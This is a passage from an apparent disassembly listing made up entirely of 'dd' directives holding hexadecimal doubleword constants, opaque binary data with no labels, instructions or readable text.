		dd 40470F82h, 0E1146734h, 94E603C8h, 463299E0h,	0CAF191Eh
		dd 14456413h, 58000AE4h, 16D65AA0h, 4464A721h, 0BE5440CBh
		dd 0AAB8EA94h, 3ABC048Ch, 4FB80824h, 0AB1B546h,	3102708Dh
		dd 19AB85F0h, 4DF832E2h, 1E35E082h, 9495C61h, 2CDE4821h
		dd 0FA600740h, 819F50C1h, 458CA42Ah, 80E41A01h,	8ACF2CACh
		dd 69486C98h, 0C4844198h, 4BF0DA90h, 9D6421A5h,	1ADF170Eh
		dd 28223551h, 89DF8811h, 4AFC3E0h, 0B0202D64h, 48A339D7h
		dd 508093C9h, 97BFDFE0h, 0A910C91h, 2D8D8042h, 0F30C1899h
		dd 0B47013Eh, 15CE5AC2h, 8E934204h, 8A9D8899h, 0F46DA3E0h
		dd 70855610h, 1C942362h, 40F467E9h, 4F6AECC8h, 28470724h
		dd 80509B44h, 9946C1A3h, 97F140Ch, 0E0CE048Ch, 0CCFE6ACh
		dd 7CFCCDB3h, 0DA32129Ah, 61A83277h, 3D518028h,	0A0C99A3h
		dd 128C9CFBh, 9E9C6ACEh, 0C421D463h, 0D493297h,	1B90A04Fh
		dd 0FDDD9CB0h, 14A0E924h, 0D6D85894h, 9F347421h, 0E25061ABh
		dd 63EFCACh, 990D6F64h,	28535160h, 89816FA8h, 56B4912Ah
		dd 3054EC23h, 6558936Dh, 6A4C5288h, 0D7CE882Ch,	37FCAAC2h
		dd 0B20CECC8h, 0DD100Ch, 0B3F416A5h, 42370DEFh,	7818836Ah
		dd 28895708h, 51A444DCh, 60388718h, 0CC5CB18h, 0DDDF22B2h
		dd 8B7C4770h, 82815388h, 4A1E9C04h, 0E8603C57h,	8FDB705Bh
		dd 9080920Fh, 0A50DE3B0h, 63B11523h, 2CE4615Ch,	92513A49h
		dd 7EE684C7h, 0C410B709h, 0DF13BA9Bh, 8850713Bh, 54DC07C0h
		dd 0CA03147Ch, 166E353h, 0AB472B19h, 4056A873h,	0C82ED6F7h
		dd 20D3EB31h, 7EF0EEB7h, 4CB9062Dh, 396A8D0Dh, 2B2EC700h
		dd 5A1CC5F2h, 4310C3EFh, 15E02417h, 90609103h, 600E3540h
		dd 0C528008Ch, 679EA92Fh, 0D102D20Ah, 2026A338h, 60878156h
		dd 0C1801E18h, 5CE4B7B4h, 8F18198Dh, 6F190FB6h,	0DE4E00BDh
		dd 0D30450E5h, 5E0006CFh, 569BEFC9h, 6DB7AEh, 1B291461h
		dd 0C248DC7Ah, 0CE686001h, 0E803749Bh, 86A04884h, 301CD405h
		dd 1AEEB84h, 846F6239h,	8D438AC9h, 20CD5C90h, 87630380h
		dd 97EEFE89h, 5E2412E5h, 0B45D0194h, 200E95B6h,	8F00D074h
		dd 0EB247F71h, 0FEF37A6h, 0F214F058h, 834E4880h, 8D070CD7h
		dd 7F04B313h, 0BA837EC7h, 8A01C00Dh, 29DB0011h,	1BBF1043h
		dd 0A20A134Fh, 14D6821Eh, 7AB9E3EFh, 813007CCh,	0C1BC08D8h
		dd 8A0DBFh, 758C59h, 12840CC7h,	352D5BC5h, 0BF05B203h
		dd 90489082h, 0C09AA37Fh, 8401A218h, 70ED97Dh, 86B182C0h
		dd 74281350h, 20B40E8Bh, 0A818188h, 86A383C1h, 50BF7678h
		dd 1DB10C50h, 835981B9h, 0C59CD29h, 80842994h, 0CC57A4Fh
		dd 0A2660A88h, 288C108h, 0BE75851Dh, 0AF83148Eh, 8B9CBABh
		dd 0F028E0F4h, 2018D86Fh, 1D4825ADh, 2AA430FFh,	93E9AF31h
		dd 69829E00h, 9EBD72Dh,	0A85002D5h, 0A05ECE80h,	0DC2F4F60h
		dd 58D1A900h, 5F73E12Ch, 0F4060090h, 8733B72Eh,	941CCF3Bh
		dd 0E98C7125h, 72D71D0h, 0D5C24BDFh, 0E633A024h, 7303A72Eh
		dd 1CAD9EF2h, 0AB2801F1h, 632A6F56h, 8C2CF16Eh,	0A1755898h
		dd 0E418A3A9h, 26F6859h, 6D5810ECh, 53031C0h, 30D62F91h
		dd 73595733h, 0B48829A5h, 2D82802Eh, 4A4052F1h,	0D13D00Bh
		dd 2D960FE6h, 3091B1B8h, 0C01F0D4h, 0FF798CD9h,	3058317Ah
		dd 0A6282F18h, 906E9F9h, 84FA6985h, 16923C41h, 285BA99Eh
		dd 8615E0D0h, 0E411D943h, 0E16C811Ah, 0E851B6C3h, 0B983D357h
		dd 0B46F12Ch, 0FD716807h, 0A423F7F9h, 0BBC83129h, 31AC76F1h
		dd 3DC043Eh, 0F55BEF78h, 811931CEh, 2F18D7DFh, 14124C51h
		dd 0D5515847h, 918E2213h, 9769E9B0h, 0F039180Dh, 0DC302DB1h
		dd 0B90C3104h, 0F118C591h, 0AC4C0AFCh, 60E8A258h, 742B9167h
		dd 5247771h, 524078F4h,	54C8F9A4h, 4210A40Ah, 4DE3B228h
		dd 1BB8B174h, 4C210BA5h, 56901508h, 0F9116643h,	0DC2C8279h
		dd 0CD28847Eh, 4271882Bh, 0BB1F8FE5h, 0C8069A91h, 0C89D476Fh
		dd 0C8E9427Eh, 6BB544A5h, 1078782Bh, 286D8A5Bh,	40ED217Ch
		dd 639FD04Eh, 853BE150h, 3D8A8310h, 4529D4C8h, 58092843h
		dd 445C9228h, 0DFF0226Ch, 8960724Ch, 5234A14Dh,	6022F607h
		dd 804E5906h, 40D46115h, 0F0E91184h, 0A1783901h, 0F3A52A1Bh
		dd 2D0C22DDh, 0FA6E7C61h, 3291B806h, 667062BAh,	496E112Ch
		dd 8C48A471h, 0CC201384h, 9E28D2D0h, 0F55174AEh, 59C04650h
		dd 8141086Fh, 13D62524h, 3F4420D2h, 0A0A4F560h,	53988256h
		dd 0B04960F0h, 269EE76Ch, 9EE42559h, 0BE77805Ch, 70828407h
		dd 7F0E1D76h, 2E750EB4h, 784E80A2h, 0BA47A3h, 6123C46Eh
		dd 8A04B01Bh, 0E14365Ch, 807013BEh, 49B4778Ch, 0D97E07C0h
		dd 4610741Ch, 0D8612805h, 1DBF7810h, 7C514F0h, 700D8302h
		dd 0C413A01Bh, 6F784E49h, 752E077Ch, 801E38B4h,	0BE5A0Fh
		dd 7B4D1BD7h, 5684A47Eh, 0B0BE0429h, 80A335h, 81830AC5h
		dd 12BC207Eh, 83189052h, 5273EFFh, 9AC7510h, 0AB84C0D5h
		dd 3212367Eh, 6C9B9210h, 59F28C18h, 6C261D5Bh, 0FC02681Eh
		dd 0E0C08733h, 0B850F1F4h, 2E590028h, 9FB4ED99h, 0E67835AEh
		dd 0E847D600h, 595C663Ah, 3C2A094Bh, 0B846F302h, 0D5D7311Dh
		dd 0D8FC5440h, 7C7233F9h, 255B0D7Fh, 0F1707566h, 6ED870C4h
		dd 150381C1h, 0D983107Ah, 0D6862BD9h, 0D38C29A1h, 1CD4F818h
		dd 548EE7C0h, 45B7C76h,	9787E67Ah, 0ABE0794Ch, 5444589Dh
		dd 45A4167Fh, 687818B4h, 0C52001E6h, 215D033Dh,	96E9B72Fh
		dd 0BC17F82Ah, 0BBC3E106h, 10400818h, 40B89BACh, 0A40F2D9Ch
		dd 0AC5980E0h, 1514B1FCh, 8CAD30E5h, 7CA710C0h,	0B08DD650h
		dd 40AFEF81h, 0F22D5E0Ah, 8F8F8C57h, 9E966031h,	94FF6CA2h
		dd 3A023E48h, 7CBC056Ah, 0E909B7FEh, 0A22C6BF9h, 2E4886EEh
		dd 2CAA4948h, 641532C9h, 0F59C2E6h, 63138ED8h, 2122E380h
		dd 2B000738h, 0FE719BA8h, 0A37F8Ch, 0BF80A449h,	0CD77BE50h
		dd 78B34FF0h, 50070C16h, 0F7B1EA1h, 2E758054h, 4E74FCDEh
		dd 346C007Bh, 0CE6626ACh, 0B0044A6h, 0CFD776A7h, 0ACEC1CC5h
		dd 0E6930504h, 34CEED0Ah, 2008010Ch, 0F28D0CD9h, 3031D625h
		dd 849E416h, 0AC2DE430h, 880F5888h, 26D2DE21h, 5709B2E4h
		dd 6829D062h, 22AE9108h, 0AD8678D7h, 21361930h,	441CD22Ah
		dd 81CE6034h, 89191A4h,	707F149Fh, 1087B286h, 0BE9CE24Dh
		dd 97B2700Ah, 6F33410Ch, 8C4D2Ah, 0E8D21650h, 2AE4B050h
		dd 9912B89h, 442D222Ch,	70896F2Eh, 22242112h, 24912348h
		dd 26442522h, 12288927h
		dd 487A2479h, 3E3C913Bh, 0E7DA003Dh, 0C3155E39h, 2E5C31FFh
		dd 9492D7C1h, 0B284F1B8h, 58049770h, 8A12D95h, 0B4BC40CAh
		dd 2907B6CDh, 3990D7C1h, 0FAC3EDC7h, 4EF0C72Dh,	0EAB5F24Bh
		dd 0C8CD3C83h, 0E97B1A6h, 388EE928h, 4019E18Fh,	4BBE01B9h
		dd 27005A02h, 3CF26B4Eh, 67242ADAh, 0DD04680Ch,	2E93D9FFh
		dd 0C00A1430h, 22A302FBh, 0D6B031E6h, 384A9407h, 0C5808055h
		dd 9022441Bh, 1CE02781h, 991F35Eh, 0B184141h, 0E0AEFA04h
		dd 725871h, 1CB8EEAFh, 0AB73E56Bh, 0B23C10A0h, 0AC389052h
		dd 0EF6A0E62h, 0AF834F41h, 0B9E3AC64h, 0C9071900h, 0D7685512h
		dd 0E13D14B4h, 3A3E1CF3h, 0B75F1C00h, 9336AAB0h, 0E5B728A4h
		dd 0EDCE03E4h, 417A30B0h, 30791833h, 175AE0D0h,	7FE200BFh
		dd 0A8EE7D44h, 0E8008F1Ah, 0FCBE13A4h, 0EB01B6Fh, 0C50D4E07h
		dd 0D2F26DC3h, 0B47789D0h, 13600E00h, 11851FA2h, 14EA1FC5h
		dd 0BF0A0121h, 0D00EC382h, 0C03D97Ch, 308F178Ah, 0ADEE089h
		dd 0C67F30C1h, 1DA36F40h, 0F9057BF8h, 90758B07h, 8003405Fh
		dd 0C05002C6h, 0F8B029D1h, 0C10E3CCCh, 0D6013053h, 818405D2h
		dd 0F81C4CC5h, 12830A10h, 0BE311500h, 0BF80C107h, 42600553h
		dd 0BF83ACECh, 631DA444h, 0C90A435Ch, 0F6EB181Ch, 7A5160A4h
		dd 59127D3Eh, 302C81B5h, 13BF0008h, 41C007B1h, 580A2A61h
		dd 38367E06h, 0DCC12DC7h, 0DBD45847h, 774F0A08h, 0E81435CCh
		dd 358FE040h, 0EB013858h, 0B2758830h, 0E644890Ah, 1CBEF840h
		dd 0BF633CBCh, 405DB8C5h, 0FDC30F5Fh, 0C11BA900h, 9022A3E8h
		dd 0ABF3B4Eh, 85226h, 448006C5h, 35F90DEBh, 0DC81F000h
		dd 84D628C1h, 98245859h, 0C77500BBh, 0C406795Fh, 7C4C851Bh
		dd 0C0506E40h, 0A2D31459h, 2033F135h, 7C516C50h, 0BB02240Eh
		dd 581C09ECh, 7F5C7430h, 90CB387Ch, 5D1C97D6h, 4DE96200h
		dd 208BE78h, 59D436C1h,	65557790h, 558AA98h, 0D9809049h
		dd 7E54801Fh, 764C444Ah, 13C000D0h, 7781498Ch, 5340DDDBh
		dd 36C000B5h, 7E4E01A3h, 834F701Ch, 4C023C7Ah, 612300ECh
		dd 8606C477h, 1CD91F74h, 1DB109C0h, 8F97FC87h, 1BC00172h
		dd 8CB47F81h, 60D87E10h, 0ACD94810h, 1E708201h,	2AC57B85h
		dd 408FD8B1h, 3ADF6F74h, 75C87732h, 4B55DE42h, 0FC4BE7D4h
		dd 86A04C94h, 0D0AC814Ah, 0F84AFDFBh, 89590574h, 0CC057074h
		dd 0C50534D4h, 0B3369051h, 42608Ch, 880AECD2h, 0B9597013h
		dd 0D2B88049h, 7FB03DAEh, 75825CC0h, 1D83E8B4h,	0CF07C566h
		dd 9098C914h, 8C581DBFh, 70F75F7Ch, 0CB54727h, 396282FDh
		dd 0C4C81189h, 500BBD33h, 38C57485h, 4C0970E4h,	0B1CB0C4Eh
		dd 0A0839801h, 0C5DC600Dh, 0D1D821E9h, 0A3E3E30Ch, 48C4204Dh
		dd 770191Ch, 0C2FE5909h, 98E494C4h, 4138D3DCh, 8526BAC0h
		dd 55207082h, 10B57526h, 0DB69131Bh, 764FC1BFh,	20721CD1h
		dd 2C818414h, 0CF3C87B4h, 1DA31300h, 3498844Dh,	1B58B560h
		dd 1FBF1174h, 3083A506h, 26B934B0h, 48185E53h, 98C70B50h
		dd 0F50CED2Dh, 1635EBD0h, 0C9DF0642h, 0C880E084h, 0C9150D21h
		dd 18177CE2h, 0C8403196h, 0C57CA91Dh, 3EC15A07h, 0EC28050h
		dd 2CB57A60h, 5D8901Dh,	0C3844507h, 0C5E08564h,	40AA8950h
		dd 0AA94F8D9h, 0D0360750h, 0E441A539h, 2074BE1Bh, 0AD7E4BBBh
		dd 51C413F0h, 0C10C44C0h, 7BF2E7Fh, 8C964E78h, 0AB7429D4h
		dd 82EEB400h, 831BD97Ch, 0ECD3A74h, 0AE60179h, 0BB17FBFh
		dd 0E7907089h, 6F1F4404h, 316BEEBh, 2D87D50h, 0BD0B2101h
		dd 500AA282h, 8308908Bh, 0B68A80A4h, 15140CC8h,	521689Fh
		dd 784DE6D3h, 80800AB1h, 31815D34h, 7E4E0EA1h, 34D0507Dh
		dd 8DB0BBEh, 0A90EEC0h,	9107B01Eh, 6D4903F0h, 0A9A0F922h
		dd 803A280h, 1C636BFh, 89210186h, 4D1BB46Eh, 8402D011h
		dd 0E8B8744Bh, 0B20E9065h, 0DED613E0h, 38358084h, 5FCF102Fh
		dd 0C01BB181h, 0BAE88621h, 0BE28B37Fh, 33740460h, 11C84A1h
		dd 7F8C1DDCh, 13208FCCh, 77BE04C8h, 2CEC89BFh, 0DDE05DB8h
		dd 28C4EA94h, 8C8480D2h, 306F2827h, 0D02D5F8h, 3A701283h
		dd 0C0888AD8h, 0A420DC81h, 7D0D251h, 808947D8h,	118405D1h
		dd 7F04DB4Ch, 7780BF50h, 490EA302h, 850CACDCh, 0F043B4B0h
		dd 0D182FF70h, 0DC7CE9BFh, 840941DFh, 9050707Bh, 0A3291EE9h
		dd 89DC2958h, 606B2A93h, 52A23005h, 0D4A2D248h,	66A50704h
		dd 774482CCh, 6453F49Ah, 0B4F0A427h, 30E02084h,	0E5D20F4Dh
		dd 0B5A6BF02h, 0EC60E80Ah, 7D97AC0h, 2FD64A8Ah,	0A487FA18h
		dd 119D0630h, 99264E00h, 9FB94A66h, 139E6C3h, 8EF443Eh
		dd 2FD973E6h, 0F6D4F4h,	2C58E455h, 169396E7h, 103A0E30h
		dd 60EDABAFh, 1E8F283Fh, 0FD277165h, 1C4544Ah, 0BFCFC029h
		dd 83886FCh, 9886997h, 73AFE9A2h, 1DF08077h, 80F9FC6Bh
		dd 0E80609DFh, 8037F1ACh, 0A3F20520h, 3C214440h, 0FA461A20h
		dd 0F9678219h, 56A8C0C8h, 0EF0A7D03h, 88B69AD9h, 1EEE74Fh
		dd 0D686673Ah, 802F81C1h, 530C7431h, 722E531h, 32AD2E84h
		dd 8C484973h, 5300246Eh, 409E860Dh, 59FF9DC1h, 76006480h
		dd 5D92DDAAh, 4200571Ah, 481D4D3Dh, 0DE9A94h, 0D4A224D8h
		dd 0F186110Ch, 1413A31Eh, 75A4DC54h, 7CB9832Bh,	3B123C10h
		dd 9C26FA67h, 0FB4D2BF0h, 587AC498h, 0A68F99h, 8505DD91h
		dd 3242E569h, 3B105C00h, 71AB657Dh, 0EE0A243h, 69E28C88h
		dd 59F4ADh, 7E852FA2h, 356D8D1Eh, 5600C7E4h, 0BA486329h
		dd 78716415h, 0DB6080B6h, 14D5B124h, 0A9AC3940h, 5B7D8035h
		dd 61597EAh, 0B87C12F4h, 0A0FA46EFh, 8684F593h,	0DC391206h
		dd 80CCB1h, 7E1BA88Ah, 0A615594Dh, 2A60509Dh, 0FF81D81h
		dd 95BCB103h, 0A5B21640h, 475C0E49h, 58DE0023h,	155F8A1Fh
		dd 3898E536h, 29DAF832h, 92FA4415h, 6F3E8Ch, 0EB390EEFh
		dd 0CC10EE50h, 0CF21A509h, 0F13AEFFAh, 76F986B8h, 0C17859h
		dd 57F3E8ECh, 0FCFAA29Fh, 0A60061F8h, 0EE1AF169h, 49E81312h
		dd 0DAED2496h, 0E488A8B5h, 88FFC4F4h, 0D5034300h, 3ECB970h
		dd 0A4700C12h, 5698D69Dh, 321E5779h, 6FE392Fh, 7A36D5D4h
		dd 62822A59h, 876701B8h, 0F37EEFDCh, 77B8C86Dh,	0D1614B00h
		dd 0A38E115Fh, 0FBE72812h, 44B009B4h, 4D78B99h,	0C488FAF0h
		dd 8D8C03B4h, 47ECE8EFh, 0A0C99400h, 4819083Ch,	4CE62439h
		dd 38B7180Ch, 0F8CDB10Ch, 4093491Bh, 716C0422h,	1F1D4777h
		dd 33B8C3A6h, 2CF190AEh, 2FC07DF1h, 0AA274E0h, 0C80531EBh
		dd 0FF6580B0h, 10720C9Fh, 791CD500h, 1274695Bh,	621B0909h
		dd 8803438h, 0E7075059h, 7F118E00h, 31C8E513h, 22A4984Dh
		dd 0B9241AE6h, 0E089CDFh, 0A97E83C7h, 400C5F39h, 78EDC50Fh
		dd 9731BE5h, 0A011B84Dh, 6C91AF30h, 11141B88h, 0FCFFE320h
		dd 0BD63E760h, 8018474Ch, 0FF198FADh, 0FC3B4B9Dh, 4A5FCFB8h
		dd 138094B7h, 0F4877FEFh, 9FC000C9h, 2F53F9D8h,	33FA828h
		dd 0BB62812Eh, 4BF81D5Fh, 8CFCF0A5h, 0DE08B06Ah, 0E9A60349h
		dd 18058995h, 0CFE907Ch, 0D27088h, 5F516CDCh, 57704DCCh
		dd 0C908E466h, 0D4330021h, 8A01A96Ch, 0EC0169E0h, 0ABE60594h
		dd 0D08076D9h, 105EB72Eh, 21264B0Ah, 29086006h,	598A04DAh
		dd 58CCBF49h, 18D5001Dh, 6FD7F1BCh, 0FF04EE5Eh,	58211503h
		dd 0F499888h, 0A2EBB157h, 0AA93CE40h, 3FE8D2B0h, 5FEC21C0h
		dd 51CA8B1h, 882D59A2h
		dd 1280280Dh, 0D4AAD600h, 2D1A463Fh, 34ACE478h,	0C2983023h
		dd 530E660h, 0E5361153h, 8018886Ah, 38521DABh, 2B007EDBh
		dd 0C8E32A25h, 29DE80Eh, 5BE7B72Fh, 88802889h, 0EE25AC38h
		dd 194434A7h, 0FF886460h, 0A888154h, 0E3A71314h, 0B5AA1DF2h
		dd 0B6E85980h, 1A1189Ch, 0E7DE19C0h, 615BDDABh,	6F285814h
		dd 18FBF8A1h, 566C08E9h, 0C6C4D45Fh, 6CC13440h,	0D8FB1081h
		dd 8401EBBFh, 0FD591EA1h, 0B4406ADAh, 0E0824D01h, 5B7E0916h
		dd 42971E5h, 5A94907Fh,	64B949FFh, 634CE707h, 7BC680DFh
		dd 0F7023764h, 36FC3F56h, 1504570h, 0E2D81110h,	63AC4192h
		dd 9943273h, 0AA95A690h, 4B90B88Ch, 5E29D90Bh, 70341C31h
		dd 0FB5939C6h, 0A8838A1Ch, 892CD19Fh, 0DACC3A1Dh, 0AD50D8h
		dd 47AB558Dh, 26AAD5E2h, 599DC377h, 1169D40h, 597F27E0h
		dd 30076173h, 48C5A58h,	3904EF38h, 1F5381Bh, 260BEFFFh
		dd 50DF0D02h, 0B51999B8h, 0BA954C00h, 9F0715DCh, 854094A4h
		dd 302F0553h, 21C345ACh, 5734744Dh, 13BF2368h, 0E516090Ah
		dd 6434300Ah, 22544320h, 0ED882253h, 1BB96D00h,	285DB309h
		dd 7D2728F9h, 700F49C8h, 46296308h, 1394D42h, 263AFB94h
		dd 343000F0h, 4DF020FFh, 0E98B5C11h, 0E597AD01h, 410FEEF4h
		dd 876382F8h, 0E0D57789h, 50174290h, 0F6AA014Ah, 9E97DC6Dh
		dd 160C26D2h, 7C205912h, 7B7C17h, 0B3412139h, 70FF2C49h
		dd 27C9E100h, 1F17C243h, 550B398Fh, 76F1C80h, 22598734h
		dd 927941C0h, 2A58933h,	27E8293Bh, 5C60C1A0h, 63803C6Dh
		dd 0DCBB5470h, 0C069F89Eh, 0C447F5B1h, 5929888Ah, 2D017C7Bh
		dd 0D90E1692h, 908C4080h, 3FE628F5h, 62F6F413h,	74405029h
		dd 0A52CB786h, 80C211E4h, 0E5325309h, 2284430Ah, 216F001Bh
		dd 37A27E53h, 92189A9Bh, 0E590AD4Fh, 0CEA8003Fh, 0AA8BB908h
		dd 6C30255Fh, 0F64F887Eh, 0A73EE9B4h, 0F99C0068h, 0F3261386h
		dd 0A83C93A1h, 69024B8h, 3C02E93Ch, 4C47ACDh, 465E0C94h
		dd 8A9F0120h, 644D5F57h, 63A0A888h, 29FDF585h, 417DB462h
		dd 35185BBCh, 3905EF08h, 4EAAC453h, 0D2F000F6h,	0D41F94h
		dd 1A9D8AE0h, 8FFF25A7h, 0DA27BE0Fh, 0ABD5E2F5h, 92544077h
		dd 0E25C802Dh, 82BA0313h, 80A865AEh, 0D8B187FAh, 4F57C407h
		dd 0C1603C67h, 6CE7F92Ah, 0CCC8309Bh, 44E22F41h, 0BF891720h
		dd 0B00E02D6h, 0C488C25h, 584C6330h, 79040074h,	808BB486h
		dd 9CDD26D0h, 0BE080E9Dh, 0C7CC8965h, 4204F88h,	471E3C99h
		dd 0FB4D0203h, 3045FA40h, 0B6218F08h, 43741E54h, 165F9601h
		dd 0EF60C064h, 30ADEAF8h, 9A60987Fh, 47305979h,	0D1245901h
		dd 0BBD803C6h, 83DBA5B5h, 210B0930h, 3C6C944h, 17FC553Dh
		dd 0EC80D6E2h, 62005E35h, 8758B584h, 0B79E64h, 1A39BAF6h
		dd 3F667A77h, 0FA4041DFh, 7C12FDC8h, 50E3104h, 8F144818h
		dd 848A3521h, 0CD80DD65h, 87E7E1h, 7D950643h, 49E54F23h
		dd 6BB5EE0Ch, 7BBC07Bh,	1BFD28F6h, 52DFF077h, 80A08661h
		dd 0D500A979h, 0CCF0CFC1h, 66087560h, 2182089Dh, 0C1CD4700h
		dd 0A40A83ECh, 0EED303F9h, 0E2E4F6FEh, 66465000h, 48915EA7h
		dd 0DDE1003Fh, 8E2DB6C2h, 7960C78Ch, 4426E580h,	65B883FEh
		dd 0A0683CBFh, 4674D830h, 5059018Eh, 34C0CF2Eh,	161E3D0h
		dd 8A3F08F1h, 40E6AE5Dh, 83F94380h, 97025F7Eh, 0DE040245h
		dd 68C08035h, 0CF99168Fh, 3E863380h, 9C001836h,	0C850E1EBh
		dd 7D7AFB72h, 3199C065h, 1C07E02Eh, 0B4A67705h,	6C607FF3h
		dd 153BB853h, 0EC43EFA1h, 365F081h, 49318198h, 83978CA6h
		dd 6068CC48h, 6669580Ah, 8F601EAFh, 856D2C98h, 68BE0365h
		dd 7B56BF59h, 0F0B51802h, 48748FADh, 0CDD57Ch, 1FC3AC6Eh
		dd 43467F90h, 64CD852h,	0B2F55DECh, 49B90030h, 2C3550EAh
		dd 0BF1869C2h, 6258928Ah, 0C4F8A97Bh, 0BBB70h, 0BD2867FAh
		dd 7AE0C924h, 0FF56637Ah, 3AB040FCh, 9C644F01h,	0C4E92F14h
		dd 30CEE842h, 49111E3Eh, 92883D02h, 1E56B880h, 4CDC72B7h
		dd 0F00620BFh, 0B19C7F8Dh, 4199FE4Ch, 0EFC858A4h, 242804F8h
		dd 0F91ADC2Bh, 84D86BB9h, 0CE6054D4h, 0BB23D5C6h, 3F0F11DDh
		dd 9005F17Fh, 7EC0F94Eh, 5C4C804h, 0DF8CB601h, 0CA70A4A0h
		dd 181FCD1Dh, 0C0E28903h, 0A2C10927h, 0EC215834h, 0D03BBF64h
		dd 0AA0C3F43h, 1806EDFCh, 329E00CFh, 7A99299Ch,	1B30CA69h
		dd 0B88A4182h, 3DF4F8FBh, 0D28930D6h, 3C10617Ah, 29DEFA35h
		dd 8F666801h, 9C22A5CAh, 97F07730h, 0E15B9EB0h,	5A1640E8h
		dd 3802EFC5h, 0D7D61B76h, 780404E6h, 87952244h,	51202062h
		dd 0CD14470h, 0D6AAB095h, 8C000250h, 0F387C376h, 6E0AA897h
		dd 4A8318ECh, 680134C9h, 0EDE1E996h, 0F06B80C1h, 90006E68h
		dd 0E275DB7Bh, 820B2Eh,	81734D3Ah, 1A0E0F40h, 250C377Ah
		dd 0FCE78704h, 638DF96h, 18138E17h, 5CC94F1Fh, 41A605A0h
		dd 0AF6C0C2Fh, 865A88Ch, 584DDADEh, 540DBC4h, 0A990DE5Dh
		dd 0A46EB03h, 629557Ah,	0CED88FB0h, 8116C8DAh, 72BB1539h
		dd 970334D8h, 1396F9DBh, 914D5083h, 9000A4D4h, 0C4891EA8h
		dd 16C38706h, 0BED976DFh, 8DB1C72h, 0C1787820h,	8D160F8Ch
		dd 0F0E07EF4h, 0A14FE06Ch, 3098C030h, 70850D17h, 0EC405B8Ch
		dd 6962C350h, 32F100CBh, 0C0B274F3h, 0E19A470h,	23D0127Eh
		dd 2D78DCECh, 58769F8Dh, 81180240h, 0E75907Bh, 5E2C0323h
		dd 0CB793062h, 0B51446DFh, 9E7970F9h, 0E5008B18h, 9CF47B54h
		dd 1E5F723Fh, 18914E6Bh, 8F04B89Fh, 83CC31C0h, 32DF719h
		dd 0B5DE6125h, 0B181070Fh, 48A26F51h, 598C7B02h, 0E08E2605h
		dd 8B9D12CEh, 9775EC0Bh, 9F9D91B4h, 93CCC283h, 0B64DA341h
		dd 2F7D12EEh, 911404C9h, 9C5C001Bh, 0E8275Ah, 0F44EBE0Ch
		dd 16D406A8h, 0F0FC075Ah, 67016E23h, 684DDCDEh,	0C388E26Eh
		dd 0B8DE5F07h, 20B83D21h, 4812ED76h, 0C054A0C5h, 8C25E8D8h
		dd 20079074h, 740127F8h, 0A0D4F73h, 36A90421h, 95754B58h
		dd 3846BDE0h, 94888199h, 71DB8F3Eh, 0B8B06302h,	7A11CF23h
		dd 9A88410Ah, 0CF81C89Ch, 0EAE98FF3h, 30D402ECh, 0CA02196h
		dd 262D0EA6h, 0AD4CDE31h, 9DCE8F4h, 0BB0E1998h,	9D513480h
		dd 3E2624D3h, 98BB24DEh, 0A5311D8Ch, 91520449h,	82B08B2Ah
		dd 2F208944h, 0F2E2FEh,	9EA454D8h, 2A12C8F9h, 88F8062Ah
		dd 79E8F9B5h, 90118D8h,	0AB8499C6h, 6E26401h, 0C5C85368h
		dd 94D3290Ch, 1613A11Ch, 0FF498205h, 8006B021h,	0D1E081A1h
		dd 2C18DCh, 887C5C73h, 4BC0144h, 25AF820Ah, 5010306Dh
		dd 782BEFD6h, 1800DF23h, 0E9EFA08Eh, 6C770452h,	921D4590h
		dd 0F490F440h, 2E00C8E6h, 2AEA3452h, 0E677028Dh, 44BC9A6Bh
		dd 9F2D1B1Ch, 44DCFEC5h, 1E34985Eh, 0A75CF08h, 4097C419h
		dd 5FCF16C3h, 0BEB91E7Fh, 0D3938284h, 0E3DF2AA0h, 0EC895168h
		dd 0FDAD008h, 0FC1A853Ch, 5C5BE640h, 2F03FA0Eh,	0A6B4F441h
		dd 0E818D0F3h, 18E77750h, 0A8176E16h, 0B5B8CFBAh, 594F4835h
		dd 0C8B8CBBAh, 0A0F7C620h, 0C63E23h, 4BB9553Ah,	0C91244CAh
		dd 541F8714h, 3049900Ah, 79A67205h, 0E7049Ch, 0E94C087Eh
		dd 64FF674Ah, 7C91D424h, 0DDC9D142h, 47E60C6h, 0E86C71C0h
		dd 2EE7CC3Ch, 0D3D7E6h,	21A95BAFh, 2A159793h, 1898D30Ch
		dd 7C8115ADh, 0F29E012Eh, 24B8D6AFh, 7CE36E82h,	2892D30Dh
		dd 816F6179h, 98B2B769h
		dd 0C0D8DC61h, 9450BDB9h, 0EC3AD810h, 5DC8E913h, 0ACA1C55Ch
		dd 8A948882h, 4E5887E5h, 61C16F03h, 0F46E4405h,	9F3401E8h
		dd 14038024h, 0CAB6CB2Ah, 0D7CC8414h, 23447960h, 0DE8F952Dh
		dd 71525884h, 35454400h, 9E3CF395h, 2734Dh, 1F2D1B6Dh
		dd 0CA2CA099h, 238CF859h, 0CF220162h, 0E390A79h, 0CF1AC703h
		dd 6A80DE41h, 0D2FED43Dh, 4E608502h, 8DFC99h, 0F51554A6h
		dd 43B9C91h, 95FF12DBh,	636FC087h, 137F5EB0h, 0B0843F0h
		dd 7A0BE724h, 0AA6B1420h, 50FD9581h, 0C826B190h, 598AB0A0h
		dd 803EAD2Eh, 4D8DDF81h, 0EC4584C1h, 2C0081BBh,	3444628Ch
		dd 0A00CE01Eh, 9801C1E9h, 7D99209Ch, 5A806B1Dh,	95502A18h
		dd 8C0F54A0h, 0F14A2E47h, 835380B4h, 0E2BD2308h, 517A800Bh
		dd 9896D53Eh, 9A2068D9h, 0EC506DE1h, 0B8D64FE7h, 38B62064h
		dd 52DC0118h, 619E1BA0h, 4E9099DFh, 56B9AF24h, 7999400Ch
		dd 0D839BE05h, 5C3C0E36h, 0D57D6374h, 3A07F0C2h, 74C95C89h
		dd 14AC5C40h, 9C331D81h, 1F24684h, 22F15A0Ch, 820F8307h
		dd 19986040h, 0DE0154B3h, 0EDA46987h, 60883618h, 0EA8700D6h
		dd 969F25CCh, 4252E20Ah, 7B900040h, 8A171AD4h, 0ADF0C639h
		dd 0D00D919h, 1EF19A1Dh, 3015C1h, 0D55FF723h, 0C4EC1362h
		dd 16B09517h, 0A897D830h, 842EF56h, 0FEA4825Ch,	4230532h
		dd 0C8CC69B8h, 0D47E6CF4h, 0EE3AD20Bh, 0C03428DAh, 5174E20Ch
		dd 45D33913h, 91535900h, 4A0E7A4Bh, 28D89E51h, 8C26E834h
		dd 21BED000h, 90FCF88Bh, 9D82170Ch, 0A4BC4148h,	2D33161Eh
		dd 0AA141204h, 1BCA10D1h, 0BCA1C500h, 489E8540h, 0A0160C79h
